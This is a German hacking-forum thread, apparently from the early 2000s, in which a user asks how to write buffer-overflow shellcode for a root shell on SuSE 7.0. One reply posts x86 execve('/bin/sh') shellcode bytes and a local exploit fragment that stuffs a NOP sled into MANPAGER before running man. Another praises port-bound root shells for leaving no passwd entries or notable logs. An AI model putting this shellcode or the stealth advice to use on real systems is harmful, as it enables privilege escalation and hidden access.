was muss eigentlich so im shellcode bei einem bufferoverflow stehen wenn man an ne rootshell auf nem suse7.0 rechner will...
mfg
The Thief
was muss eigentlich so im shellcode bei einem bufferoverflow stehen wenn man an ne rootshell auf nem suse7.0 rechner will...
mfg
The Thief
1.) Eine Zeichenfolge, die ein bestimmtes Service überlädOriginal erstellt von Thief:
was muss eigentlich so im shellcode bei einem bufferoverflow stehen wenn man an ne rootshell auf nem suse7.0 rechner will...
mfg
The Thief
2.) Eine Zeichenfolge, die /bin/sh oder /bin/bash an einen bestimmten Port bindet, oder es direkt über das remote Service piped.
Und das alles in ausführbarem Code.
Wenn du also nicht in C oder ASM für Linux versiert bist, kannst du's vergessen
To Arzy:
Mach mal ein kleines Beispiel damit ich mir dat besser vorstellen kann. Wie kann man dat einen bestimmten Port binden?
ja bitte in c kannste alles hinschreiben aber asm check ich noch nich so lad mir grad par tuts runter
also ich stell mir das so vor:
größer puffer mit shellcode wird geschickt puffer überschreibt zielpuffer gibt als rücksprungmarke für den prozessor die des shellcodes an und fertig nur ich will mal gerne wissen wie man den shellcode in c schreibt wenn das überhaupt möglich ist....
mfg
The Thief
Die gängigen Exploits machen das eh.
Hier ein kurzgefasstes beispiel für ein Local Exploit (für Redhat) gegen das Man Kommando:
Es wird der Shellcode in die Umgebungsvariable geschrieben, die das Man Kommando verwendet, und somit dann vom Programm ausgeführt.
Da das Man Programm mit GID 15 läuft, führt es Programme mit Root Rechten aus.Code:char *execshell = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* ë^‰v1ÀˆF‰F°‰óNVÍ€1Û‰Ø@Í€èÜÿÿÿ\bin\sh */
Der Shellcode wird in die Umgebungsvariable gesetzt.. und...Code:noplen = BUFSIZE - strlen(execshell); memset(buf, NOP, noplen); buf[noplen+1] = '\0'; strcat(buf, execshell); setenv("MANPAGER", buf, 1);
Das Programm wird ausgeführt.Code:execl("/usr/bin/man", "man", "ls", 0);
Das war das simpelste Beispiel was mir dazu eingefallen ist. Bei Beschwerden, oder sonstigen Rückmeldungen über dieses Posting, bitte ins Board schreiben. (Das gilt besonders für dich Bernie)
<schnip>
2.) Eine Zeichenfolge, die /bin/sh oder /bin/bash an einen bestimmten Port bindet, oder es direkt über das remote Service piped.
</schnip>
das ändert nichts daran, dass dieser satz absoluter schwachsinn ist ....
Thief:
So wie Du Dir das vorstellst, ist das schon ganz richtig. Einen Shellcode brauchst Du aber in der Regel nicht selbst zu programmieren, da es hierfür überall bereits für alle denklichen Systeme fertige im Internet gibt. Schau doch mal auf
http://julianor.tripod.com/
hier gibts jede Menge Tuts zum Thema Buffer-Overflow. In C kannst Du übrigens keinen Shellcode programmieren.
Das was Arzi hier schreibt, hörst sich unheimlich schlau an, besonders der Satz:
2.) Eine Zeichenfolge, die /bin/sh oder /bin/bash an einen bestimmten Port bindet, oder es direkt über das remote Service piped.
Zeugt aber leider eher davon, dass er absolut keinen Plan hat und sich den Quelltext nur mal kurz irgendwo heruntergeladen hat. Wenn Du wirklich was über Hacken lernen willst und nicht nur schlau labern (gell, Arzi ;-)), solltest Du mit einem der vielen verschiedenen Wargames anfangen. Schau doch mal rein bei:
http://mainsource.labs.pulltheplug.com
Hier gibt es verschiedene Levels zum hacken (über telnet). Ab level 9 oder so fangen dann die Overflows an, für die du dich interessierst. Kannst ja mal im IRC reinschauen (irc.pulltheplug.com, #mainsource). Ich bin dort auch sehr oft.
Cja
Hmm du könntest doch erläutern, WAS an dem Satz so falsch ist
Ja, gerne:
Der Shellcode ist nichts anderes als ein Maschinensprachecode als ASCII-Chars geschrieben, der in aller Regel eine Shell öffnet. Die Shell hat dann natürlich auch die UID bzw. GID des Programmes, das in diese Shell (per Overflow oder wie auch immer) verzweigt. In C ist das nichts anderes als:
system("/bin/sh");
Mit an irgendwelchen Ports binden, Pipen oder Services überladen hat das sicherlich nichts zu tun.
Vielleicht könntest Du ja mal erklären, was Du damit eigentlich meinst.
Sieht aus als wär dies ja schon fastn elite board :-)
Bin ich dumm oder was? Schreibt mir das bitte nochmal in Deutsch *G*
Ich meine damit, dass man durch den Shellcode einen Port öffnet; /bin/sh startet, und die Ein und Ausgabe an einen Port umleitet. In Windows nennt man diese Methode Pipen und kann über die APIsVielleicht könntest Du ja mal erklären, was Du damit eigentlich meinst.
[CreatePipe, ConnectNamedPipe, uea.]
(auf sowas möchte ich eigentlich allgem. hinaus) angewant werden
(Die Netbus Funtion Application redirect ist sicherlich allen bekannt. Hier wird die Command.com Eingabe/Ausgabe an Netbus umgeleitet und dieses Leitet dann das ganze über einen Port in Internet, und so zum 'Hacker').
Ich tu' mir schon mit der Windowsmethode schwer, drum konnte ich schwer ein UNIX/LINUX Beispiel geben, dafür aber hab' ich ja oben ein Beispiel geschrieben, dass einfach /bin/sh startet. Mehr schrieb ich nicht dazu.
Sollte es das Pipen unter Linux NICHT geben, wäre mein Satz natürlich wirklich Unsinn. Aber dazu werde ich mich noch gründlich selbst informieren, da ich glaube so einen Code schon einmal gesehen zu haben.
moin,
selbstverständlich gibt es pipes unter linux!named pipes heissen da aber FIFOs(first in first out) und werden mit pipe(...) erstellt.
wird übrigens meisst beim programmieren dazu benutzt zwei threads, oder zwei programme mit sich kommunizieren zu lassen. stellt auch die älteste methode dazu da.
mfg
etuli
Na also!
Und der Vorteil liegt (zumindest bei lokalen Exploits) wohl klar auf der Hand:
Wenn man ein Programm exploitet, mit einem Code der die Shell an einen Port bindet (genauer gesagt, der die Shell mit sich verbindet, und selbst an einen Port gebunden ist) braucht man sich nicht immer ins System reinzubegeben, sonder kann über den besagten Port als root zugreifen:
Kein Eintrag in die Passwd bzw. Shadow, und keine erwähnenswerten Logs.
Nur mit Netstat und PS wird man wahrscheinlichst sichtbar sein.
PS: Damit widerlege ich hoffendlich den angenommenen Schwachsinn meines obrigen Satzes
danke @ all
torvald meldest du dich mal bei mir
mfg
The Thief
hmm, da ich es heute mal weider gebracuht habe und da es gerade passt. wenn ihr mal in linux seid schaut euch das prog openports mal an (nur als kleiner tip für die leute die bisher netstat benutzten um anzeigen zu lassen welchen ports offen sind)
Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1)